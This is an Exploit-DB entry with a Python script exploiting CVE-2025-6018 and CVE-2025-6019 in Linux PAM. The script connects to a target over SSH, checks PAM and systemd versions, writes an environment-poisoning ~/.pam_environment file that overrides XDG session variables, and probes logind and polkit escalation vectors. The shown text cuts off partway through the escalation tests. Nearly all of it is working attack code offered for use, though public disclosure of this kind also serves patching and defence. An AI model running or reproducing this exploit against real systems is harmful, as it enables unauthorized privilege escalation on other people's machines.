Exploit-DB #52386
Description: Linux PAM Environment - Variable Injection Local Privilege Escalation
Type: local
Platform: linux
Date: 2025-07-28
Author: İbrahimsql

Exploit:
# Exploit Title: Linux PAM Environment - Variable Injection Local Privilege Escalation
# Exploit Author: @İbrahimsql
# Exploit Author's github: https://github.com/ibrahmsql
# Description: PAM pam_env.so module allows environment variable injection via ~/.pam_environment
#              leading to privilege escalation through SystemD session manipulation
# CVE: CVE-2025-6018, CVE-2025-6019
# Vendor Homepage: https://github.com/linux-pam/linux-pam
# Software Link: https://github.com/linux-pam/linux-pam/releases
# Version: PAM 1.3.0 - 1.6.0 (vulnerable versions)
# Category: Local Privilege Escalation
# Requirements: paramiko>=2.12.0
# Usage: python3 cve_2025_6018_professional.py -i target_ip -u username -p password
# References: 
#   - https://access.redhat.com/security/cve/CVE-2025-6018
#   - https://bugzilla.redhat.com/show_bug.cgi?id=2372693
#   - https://bugzilla.suse.com/show_bug.cgi?id=1243226

import paramiko
import time
import sys
import socket
import argparse
import logging
from datetime import datetime

# Setup logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    datefmt='%Y-%m-%d %H:%M:%S',
    handlers=[
        logging.FileHandler('cve_2025_6018_exploit.log'),
        logging.StreamHandler(sys.stdout)
    ]
)
logger = logging.getLogger(__name__)

class CVEExploit:
    def __init__(self):
        self.vulnerable_versions = [
            "pam-1.3.0", "pam-1.3.1", "pam-1.4.0", "pam-1.5.0", 
            "pam-1.5.1", "pam-1.5.2", "pam-1.5.3", "pam-1.6.0"
        ]
        
    def check_vulnerability(self, client):
        """Enhanced vulnerability detection"""
        logger.info("Starting vulnerability assessment")
        
        checks = {
            "pam_version": "rpm -q pam || dpkg -l | grep libpam",
            "pam_env": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_env' {} \\; 2>/dev/null",
            "pam_systemd": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_systemd' {} \\; 2>/dev/null",
            "systemd_version": "systemctl --version | head -1"
        }

        vulnerable = False
        
        for check_name, command in checks.items():
            logger.info(f"Executing check: {check_name}")
            try:
                stdin, stdout, stderr = client.exec_command(command, timeout=10)
                output = stdout.read().decode().strip()
                
                if check_name == "pam_version":
                    for vuln_ver in self.vulnerable_versions:
                        if vuln_ver in output:
                            logger.info(f"Vulnerable PAM version detected: {vuln_ver}")
                            vulnerable = True
                            break
                            
                elif check_name == "pam_env" and output:
                    logger.info("pam_env.so configuration found")
                    vulnerable = True
                    
                elif check_name == "pam_systemd" and output:
                    logger.info("pam_systemd.so found - escalation vector available")
                    
                if output and check_name != "pam_version":
                    logger.debug(f"Command output: {output[:100]}...")
                    
            except Exception as e:
                logger.warning(f"Check {check_name} failed: {e}")
            
            time.sleep(0.5)

        return vulnerable

    def create_malicious_environment(self, client):
        """Create enhanced .pam_environment file"""
        logger.info("Creating malicious environment file")
        
        payload = '''# CVE-2025-6018 Environment Poisoning
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
XDG_SESSION_TYPE OVERRIDE=x11
XDG_SESSION_CLASS OVERRIDE=user
XDG_RUNTIME_DIR OVERRIDE=/tmp/runtime
SYSTEMD_LOG_LEVEL OVERRIDE=debug'''

        try:
            logger.info("Writing .pam_environment file")
            cmd = f"cat > ~/.pam_environment << 'EOF'\n{payload}\nEOF"
            stdin, stdout, stderr = client.exec_command(cmd)
            
            # Verify creation
            stdin, stdout, stderr = client.exec_command("cat ~/.pam_environment")
            output = stdout.read().decode()
            
            if "OVERRIDE" in output:
                logger.info("Malicious environment file created successfully")
                return True
            else:
                logger.error("Failed to create environment file")
                return False
                
        except Exception as e:
            logger.error(f"Environment poisoning failed: {e}")
            return False

    def test_privilege_escalation(self, client):
        """Test privilege escalation vectors"""
        logger.info("Testing privilege escalation vectors")
        
        tests = [
            ("SystemD Reboot", "gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot", "yes"),
            ("SystemD Shutdown", "gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanPowerOff", "yes"),
            ("PolicyKit Check", "pkcheck --action-id org.freedesktop.policykit.exec --process $$ 2>/dev/null || echo 'denied'", "authorized")
        ]
        
        escalated = False
        
        for test_name, command, success_indicator in tests:
            logger.info(f"Testing: {test_name}")
            try:
                stdin, stdout, stderr = client.exec_command(command, timeout=10)
                output = stdout.read().decode().strip()
                
                if success_indicator in output.lower():
                    logger.info(f"PRIVILEGE ESCALATION DETECTED: {test_name}")
                    escalated = True
                else:
                    logger.info(f"N